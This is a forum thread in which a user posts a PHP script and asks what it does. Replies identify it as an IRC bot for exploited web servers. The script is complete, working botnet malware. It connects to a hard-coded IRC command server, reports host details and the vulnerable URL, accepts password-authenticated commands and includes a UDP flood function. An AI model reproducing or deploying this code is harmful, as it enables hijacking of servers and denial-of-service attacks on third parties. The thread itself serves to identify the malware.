what does this php script do...

[deano]

I'm not a programmer so i haven't got a clue what this php script does / is

<?

set_time_limit(0);
error_reporting(0);
echo "ok!";

class pBot
{
var $config = array("server"=>"72.10.163.194",
"port"=>"6667",
"pass"=>"",
"prefix"=>"Zenx|",
"maxrand"=>"8",
"chan"=>"#zenyth",
"chan2"=>"",
"key"=>"iirx69",
"modes"=>"+p-ix",
"password"=>"iirx69",
"trigger"=>".",
"hostauth"=>"*" // * for any hostname (remember: /setvhost xdevil.org)
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = "Ces";
$alph = range("a","z");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,25)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);


if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config['password'])
{
$this->log_in($host);
}
else
{
$this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case "rndnick":
$this->set_nick();
break;
case "die":
$this->send("QUIT: WE OWNZ ~ Comando por: $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2auth\2]: $nick Cya!!!");
break;
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");

}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "";
}
else
{
$this->nick = "[C]";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2Atacando!!!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2Ataque terminou!!!\2]: $env MB enviados / Media: $vel MB/s ");
}
}

$bot = new pBot;
$bot->start();

?>

can anyone advise me what it does

TIA

 

[Inquisitor]

CODE TAGS! They exist for a reason!

 

[Dfhaii]

It connects to an irc server, joins #zenyth and responds to ping requests

 

[deano]

ok thanks, what would that be used for then DOS attacks?

 

[Dynix]

This scripts listens for commands. It looks like it's used to run on exploited web servers.

And yes, it does have a DOS attack programmed into it.

 

[Peve]

Its actually quite interesting to see how these are put together. I don't know how half it works but its still interesting.

 

[deano]

thanks Xtrm2Matt for the info.

i have a couple of others to post if anyones interested?